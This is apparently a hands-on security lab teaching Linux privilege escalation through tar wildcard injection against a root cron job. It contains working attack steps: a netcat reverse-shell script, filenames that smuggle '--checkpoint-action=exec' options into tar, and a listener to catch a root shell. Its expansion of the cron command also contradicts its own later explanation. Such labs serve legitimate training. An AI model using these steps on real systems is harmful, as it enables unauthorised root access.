Introduction
In this lab, we will learn about wildcard injection, a technique used for privilege escalation on Linux systems. Specifically, we will explore the principle of wildcard injection in the widely-used tar command and perform a hands-on exercise to gain root privileges by leveraging this vulnerability in combination with the crontab utility.
Understanding Wildcards
First, let's understand what wildcards are and how they work in the Linux shell. Wildcards are special characters or character sequences that can be used to represent or match a set of filenames or paths.
Here are some common wildcards:
*(asterisk) matches any number of characters (including zero characters) in a filename or path.?(question mark) matches any single character.[](square brackets) match any single character within the specified set of characters enclosed in the brackets.~(tilde) represents the home directory of the current user or another user if followed by a username.
In the context of privilege escalation, the * and - wildcards are commonly used. Let's first explore how the shell interprets the - character.
Open a terminal and navigate to the
/home/labex/projectdirectory:cd /home/labex/projectThere is a file named
--helpin the current directory. Try to think about and experiment with how you can view the contents of this file.If you use the
cat --helpcommand, you'll get the help message for thecatcommand instead of viewing the contents of the--helpfile.Similarly, if you use
vim --help, you'll see a help message for thevimcommand.This is because the Linux shell interprets
-as a command argument.To view the contents of the
--helpfile, you need to avoid starting the filename with-. You can use:cat /home/labex/project/--helpThis way, the shell won't interpret
--helpas an argument, and you'll be able to view the file's contents.Now, let's change the contents of the
--helpfile with any editor of your choice. For example, you can usenano:nano /home/labex/project/--helpDelete the existing content and add the following text to the file:
I can read the fileSave and exit nano.
This behavior of the shell is precisely what wildcard injection exploits.
Wildcard injection is often combined with cron jobs, so let's explore a real-world example involving the tar command.
Crontab Tar Wildcard Injection
To understand how wildcard injection can lead to privilege escalation, we'll perform a hands-on exercise involving the tar command and crontab.
First, let's initialize the lab environment by running the following command:
Navigate to the
/home/labex/projectdirectory:cd /home/labex/projectRun the setup script to initialize the lab environment:
./env_setup.shAfter initialization, you'll be switched to the
user001user (simulating an attacker who has gained initial shell access).Then, let's check the crontab for scheduled tasks:
cat /etc/crontabExpected output:
* * * * * root cd /var/www/html/ && tar -zcf /var/backups/html.tgz *You should see a task scheduled to run every minute, which archives the contents of the
/var/www/html/directory into a compressed file/var/backups/html.tgz.Next, let's take a look at the files inside the
/var/www/htmldirectory:ls /var/www/htmlTo exploit the wildcard injection vulnerability, we need to create the following three files in the
/var/www/html/directory.First, navigate to the
/var/www/htmldirectory:cd /var/www/html/shell.shwith the content to execute a reverse shell:echo 'nc.traditional 127.0.0.1 4444 -e /bin/bash' > shell.shA file named
--checkpoint-action=exec=sh shell.sh(note the spaces in the filename):echo "" > "--checkpoint-action=exec=sh shell.sh"A file named
--checkpoint=1:echo "" > --checkpoint=1
After creating these files, the
/var/www/html/directory should look like this:'--checkpoint-action=exec=sh shell.sh' '--checkpoint=1' index.html index.nginx-debian.html shell.shWhen the cron job executes the following command:
tar -zcf /var/backups/html.tgz /var/www/html/*It will be interpreted as:
tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.htmlHere's what the parameters mean:
--checkpointand--checkpoint-actionare typically used together. The former sets a checkpoint, and the latter specifies the action to be taken when the checkpoint is reached.--checkpoint-action=exec=sh shell.shmeans that when the checkpoint is reached, theshell.shscript will be executed.
So, whenever the cron job runs, the
shell.shscript will be executed, which will reverse-shell/bin/bashto the local port 4444.Let's set up a listener on the local port 4444 in the current shell:
nc -lnvp 4444After a short wait, when the cron job is executed, we should receive the reverse shell with root privileges:
Expected output:
Listening on 0.0.0.0 4444 Connection received on 127.0.0.1 56226Try create a file
success.txtin the/rootdirectory to confirm that you have root privileges:touch /root/success.txtIf you can create the file without any permission errors, you have successfully escalated your privileges using wildcard injection.
There are two important limitations to this tar + crontab privilege escalation technique:
The
htmldirectory needs to have write (w) permission for "other" users, so we can create theshell.shand other files in that directory.The
tarcommand in the crontab should not include an absolute path. For example, if the crontab entry looks like this:* * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*The wildcard injection will fail because the shell will interpret the command as:
tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.htmlIn this case,
/var/www/html/--checkpoint=1and/var/www/html/--checkpoint-action=exec=sh shell.shwill not be interpreted astarcommand arguments, and the injection will fail.
Summary
In this lab, we learned about wildcard injection, a technique used for privilege escalation on Linux systems. We explored the principle of wildcard injection in the widely-used tar command and performed a hands-on exercise to gain root privileges by leveraging this vulnerability in combination with the crontab utility. Through this lab, we gained practical experience in understanding and exploiting a real-world privilege escalation vulnerability, which is an essential skill for any security professional or system administrator.